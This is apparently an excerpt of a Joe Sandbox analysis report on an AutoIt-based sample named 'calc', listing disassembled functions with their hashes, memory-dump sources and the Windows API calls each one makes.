    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$Show$Enable$MessageSend
    • String ID:
    • API String ID: 642888154-0
    • Opcode ID: 94d56c342f8d4eab854a69fc706c86c6b5cc5f2542955767c30093fee8fa4aa4
    • Instruction ID: a343d61098662c026a0e05134150219735869de3340b639ff4ce1e3fe93cd216
    • Opcode Fuzzy Hash: 94d56c342f8d4eab854a69fc706c86c6b5cc5f2542955767c30093fee8fa4aa4
    • Instruction Fuzzy Hash: 5F315C70500344EFD722DF28C888B967BE0EF85704F1405AAEA51AB2E2C778A994CB5D
    Function 0040CE65 Relevance: 9.1, APIs: 6, Instructions: 93COMMON
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _logf$Line
    • String ID:
    • API String ID: 3969295912-0
    • Opcode ID: 7e2386a04ee5375af61d30ea3763d67e5ddcd565e541af38a9463bf76d7220f1
    • Instruction ID: 021b2969e876ab9d9f3f238a6f546ee0806e31d252411d7e34cc42bcf1068359
    • Opcode Fuzzy Hash: 7e2386a04ee5375af61d30ea3763d67e5ddcd565e541af38a9463bf76d7220f1
    • Instruction Fuzzy Hash: BF31617150050AEFCF049F62EA495AE7F78FF50351F124169E881320A5D77898B6DF89
    Function 004536F2 Relevance: 9.1, APIs: 6, Instructions: 67COMMON
    Download Yara Rule
    APIs
    • GetCommandLineW.KERNEL32(00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453705
    • GetLastError.KERNEL32(?,0044BFA2,?,0045B1B8,00000060), ref: 00453717
    • GetCommandLineW.KERNEL32(00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453737
    • GetCommandLineA.KERNEL32(75570A60,?,00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453742
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,00000000,?,00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453758
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,00000000,?,00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453779
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CommandLine$ByteCharMultiWide$ErrorLast
    • String ID:
    • API String ID: 1286790906-0
    • Opcode ID: 4ae61c304a27cbe0ba5a07a8ac8c256a68ebac5d96ee0fde0b4030c66ad36e61
    • Instruction ID: 6a2698e997fe883244a90919812289e027963571f45adb5c732ca680cf72a7a1
    • Opcode Fuzzy Hash: 4ae61c304a27cbe0ba5a07a8ac8c256a68ebac5d96ee0fde0b4030c66ad36e61
    • Instruction Fuzzy Hash: 281148F190821DABD6207EA59C84E37768DC70D3EBF21422BFD05C3183D699DD48866D
    Function 00411E91 Relevance: 9.1, APIs: 6, Instructions: 56sleepCOMMON
    Download Yara Rule
    APIs
    • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EA3
    • QueryPerformanceCounter.KERNEL32(004115DC,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411ED0
    • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EDA
    • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EE2
    • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EEC
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: PerformanceQuery$CounterSleep$Frequency
    • String ID:
    • API String ID: 2833360925-0
    • Opcode ID: 227dc428acba349b87143b21466f78d99fc1399157bde67c1f8ea1aba1aa589c
    • Instruction ID: fd00bcc09fcb72a1d4ee2113bc4141e302d44ef8310011320d93385828451225
    • Opcode Fuzzy Hash: 227dc428acba349b87143b21466f78d99fc1399157bde67c1f8ea1aba1aa589c
    • Instruction Fuzzy Hash: 73118F31D1462EEBCF009FE4ED89AEDBB78FF08301F0004A6E541A2161EB38D595C769
    Function 0040CBFD Relevance: 9.1, APIs: 6, Instructions: 54COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0040CCF8: DeleteObject.GDI32(?), ref: 0040CD3D
      • Part of subcall function 0040CCF8: ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
      • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CD94
      • Part of subcall function 0040CCF8: BeginPath.GDI32(?), ref: 0040CDAE
      • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CDCD
    • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0040CC31
    • LineTo.GDI32(?,?,00000000), ref: 0040CC41
    • MoveToEx.GDI32(?,?,-00000002,00000000), ref: 0040CC4F
    • LineTo.GDI32(?,?,-00000003), ref: 0040CC5B
    • EndPath.GDI32(?), ref: 0040CC6E
    • StrokePath.GDI32(?), ref: 0040CC7A
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
    • String ID:
    • API String ID: 372113273-0
    • Opcode ID: 9ecf42e750dd20d58ba297a2de3f40783d5e83dbea0e0e233273d38df79948fd
    • Instruction ID: f30265a1fcac77ba34f8cd65a0e3c2bfe06a34cf91edbd35c06c720051772893
    • Opcode Fuzzy Hash: 9ecf42e750dd20d58ba297a2de3f40783d5e83dbea0e0e233273d38df79948fd
    • Instruction Fuzzy Hash: 27115A32100248BBDF119F64EC48FDA7B69EF49320F148525FD18662E1C7759910DB64
    Function 00414563 Relevance: 9.0, APIs: 6, Instructions: 41windowtimethreadCOMMON
    Download Yara Rule
    APIs
    • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00414572
    • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0041458A
    • GetWindowThreadProcessId.USER32(?,?), ref: 0041459C
    • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 004145AB
    • TerminateProcess.KERNEL32(00000000,00000000), ref: 004145B5
    • CloseHandle.KERNEL32(00000000), ref: 004145BC
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
    • String ID:
    • API String ID: 839392675-0
    • Opcode ID: 00d819eeed1d390f532930fa1349814da3c729ed7603d7904b804da2bb56bfe2
    • Instruction ID: ed9ddd3d8bd6e0158ad2fd664c2ba70d314683d2c30b968afa84626bca73c302
    • Opcode Fuzzy Hash: 00d819eeed1d390f532930fa1349814da3c729ed7603d7904b804da2bb56bfe2
    • Instruction Fuzzy Hash: 32F0F97214122DFBEB215B62DC0DEEF3E6CEF457A2F004124FA0595062E7719E52DAA4
    Function 0040EF2E Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 222libraryloaderCOMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressProc$_strcat_strlen
    • String ID: AU3_FreeVar
    • API String ID: 3781172953-771828931
    • Opcode ID: f755689ba0317ca6e85fd18ae85c3e0849ae2f517dbfb39af000fc596970bd77
    • Instruction ID: c71524f2f339666a60e8fdc2e6ee78f872a6af596eaf6628cc854a2bbacd3a1d
    • Opcode Fuzzy Hash: f755689ba0317ca6e85fd18ae85c3e0849ae2f517dbfb39af000fc596970bd77
    • Instruction Fuzzy Hash: 3371C231900206EFDB20AF66C8419AE77A1FF04314F15457FF805BB692CB78AD51DB99
    Function 0042E1C8 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 193COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042FF39: LoadLibraryA.KERNEL32(kernel32.dll,0042E1E0), ref: 0042FF44
      • Part of subcall function 0042FF39: GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 0042FF56
    • GlobalMemoryStatus.KERNEL32(?), ref: 0042E2D2
    • FreeLibrary.KERNEL32(00000000), ref: 0042E40A
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$AddressFreeGlobalLoadMemoryProcStatus
    • String ID: $@$Wu
    • API String ID: 994989557-591006792
    • Opcode ID: 755732f14303fd7855877f7d53b39952d9f77ec8dbe8b95e36a72e8eda6e09c8
    • Instruction ID: 13678e41d3e0e1f1e17025958ba3afce431628d6abb03d136634acb3700533c3
    • Opcode Fuzzy Hash: 755732f14303fd7855877f7d53b39952d9f77ec8dbe8b95e36a72e8eda6e09c8
    • Instruction Fuzzy Hash: 9B716030A04E1CE7CF10AFA6F945ADDBBB0FF4C316F115099E584A2185DF7A95A4C70A
    Function 0042A72A Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042FE9D: LoadLibraryA.KERNEL32(Wininet.dll,0042A74E), ref: 0042FEA8
      • Part of subcall function 0042FE9D: GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 0042FEBA
    • FreeLibrary.KERNEL32(00000000,00000000,00000000,00000000), ref: 0042A886
      • Part of subcall function 0041FAEE: LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
      • Part of subcall function 0041FAEE: LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
    • FreeLibrary.KERNEL32(00000000,0000008C,000000FF), ref: 0042A76B
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: LibraryLoad$FreeString$AddressProc
    • String ID: abort$Wu
    • API String ID: 160771276-1867814041
    • Opcode ID: 959bd9e425b7cd7b2e0e749f0e19e3e935c99c9a3cc62746977b244b63f99125
    • Instruction ID: 05c2d4eacd22ad3a369de7ab5a96b2d38cb26c9fb751937e48658670b96f3f86
    • Opcode Fuzzy Hash: 959bd9e425b7cd7b2e0e749f0e19e3e935c99c9a3cc62746977b244b63f99125
    • Instruction Fuzzy Hash: D241F730B00224FBDB15AB65E8457AAB3A4AF08315F50816BFC1596242C73C9E66CBDF
    Function 00402EA9 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON
    Download Yara Rule
    APIs
    • GetDlgCtrlID.USER32(00000000), ref: 00402EC5
    • GetClassNameW.USER32(00000000,?,00000100), ref: 00402EFE
    • GetClassNameW.USER32(00000000,?,00000100), ref: 00402F32
    • GetWindowTextW.USER32(00000000,?,00000400), ref: 00402FA8
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ClassName$CtrlTextWindow
    • String ID: %s%u
    • API String ID: 1688678639-679674701
    • Opcode ID: 947148774540dff31e6aed68a01ca84cde0561eaa18c795ad85923dc22bcf546
    • Instruction ID: 59a3a07e9672421e03da28893bea5f44c94612d97090578beec70d5de532437a
    • Opcode Fuzzy Hash: 947148774540dff31e6aed68a01ca84cde0561eaa18c795ad85923dc22bcf546
    • Instruction Fuzzy Hash: A8418371800209AFDB61DF50CA88BABB7F8FF14305F10846AE846A25C1E778FE45DB54
    Function 00402148 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 004021EC
    • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 004021FD
    • SendMessageW.USER32(?,00000189,00000000,00000000), ref: 0040221C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: ComboBox$ListBox
    • API String ID: 3850602802-1403004172
    • Opcode ID: ce447b253be3febd0b8e07ac2eaa564c4ee394673d04f414bee972a33d411258
    • Instruction ID: d60bcdc587e95717233e0f7665ce71fa6e7cb240bbe0e6ca57382d096394546a
    • Opcode Fuzzy Hash: ce447b253be3febd0b8e07ac2eaa564c4ee394673d04f414bee972a33d411258
    • Instruction Fuzzy Hash: A931E531940214BADF216BA5DC4ABDE7FB49F05324F1041EBF5007B1E2C7B9498A9B48
    Function 0040B89C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92windowCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 0040B938
    • IsMenu.USER32(?), ref: 0040B94B
    • InsertMenuItemW.USER32(?,?,00000001,0000002C), ref: 0040B993
    • DrawMenuBar.USER32(?), ref: 0040B9A3
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Menu$Item$DrawInfoInsert
    • String ID: ,
    • API String ID: 3076010158-3772416878
    • Opcode ID: 39640288cca488a7b30a7f5d3a4a61f8e094b4a337d8e2623057536b5fde24b8
    • Instruction ID: 157fbe030ffd1d9a8f4ddc3f90bad3240d8ce1212160fce4c0ed0f8fe47e7c62
    • Opcode Fuzzy Hash: 39640288cca488a7b30a7f5d3a4a61f8e094b4a337d8e2623057536b5fde24b8
    • Instruction Fuzzy Hash: 173148B1900208EFDB10CF64D984ADABBB5FF85304F14806AEA51AB3A1D738DD45DF98
    Function 0040CF77 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _logf$LineMove
    • String ID: s
    • API String ID: 2044247434-453955339
    • Opcode ID: 7b0958b1e05d44bb2692c91de32216addb6b67a0baac5db24a1264da40054095
    • Instruction ID: 36068e2f271c58dd6b3b91538d1304b6c8909b614552cdb76d913315e2bc621b
    • Opcode Fuzzy Hash: 7b0958b1e05d44bb2692c91de32216addb6b67a0baac5db24a1264da40054095
    • Instruction Fuzzy Hash: E421EF72900209EFCB00AF91EB499AEBF74FB00351F2144A9E981721A5D7748E30EB5A
    Function 0040CDD9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61COMMON
    Download Yara Rule
    APIs
    • MoveToEx.GDI32(?,00000000,?,00000000), ref: 0040CE13
    • PolyBezierTo.GDI32(?,?,00000003), ref: 0040CE21
    • LineTo.GDI32(?,?,?), ref: 0040CE36
    • LineTo.GDI32(?,00000000,?), ref: 0040CE4C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Line$BezierMovePoly
    • String ID: s
    • API String ID: 2412604778-453955339
    • Opcode ID: 3884a1eee071de7890d14302d953e48a0e6caa7ee1c97a3991222ef44e30cf1f
    • Instruction ID: f4a798f19040babd5ae9a90d66299cb9f4b040f5f053a2fa754622e3e99d764a
    • Opcode Fuzzy Hash: 3884a1eee071de7890d14302d953e48a0e6caa7ee1c97a3991222ef44e30cf1f
    • Instruction Fuzzy Hash: 5011A031500208FFDB219F68CC88B9B7BA5FF45750F10462AFC9AA2291C3359D92DAD8
    Function 0040EE82 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(?), ref: 0040EEA9
    • GetProcAddress.KERNEL32(00000000,AU3_GetPluginDetails), ref: 0040EEC1
    • FreeLibrary.KERNEL32 ref: 0040EECD
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$AddressFreeLoadProc
    • String ID: AU3_GetPluginDetails$Wu
    • API String ID: 145871493-136108093
    • Opcode ID: bf52db12d3d9933b844a19cd8c859c7f95544091a9fd9c7a58190ead5e102cca
    • Instruction ID: e1a76256ef9ae7ff8ee669f6e948607f4e0c31d0b2043c83b6dad8dec330593a
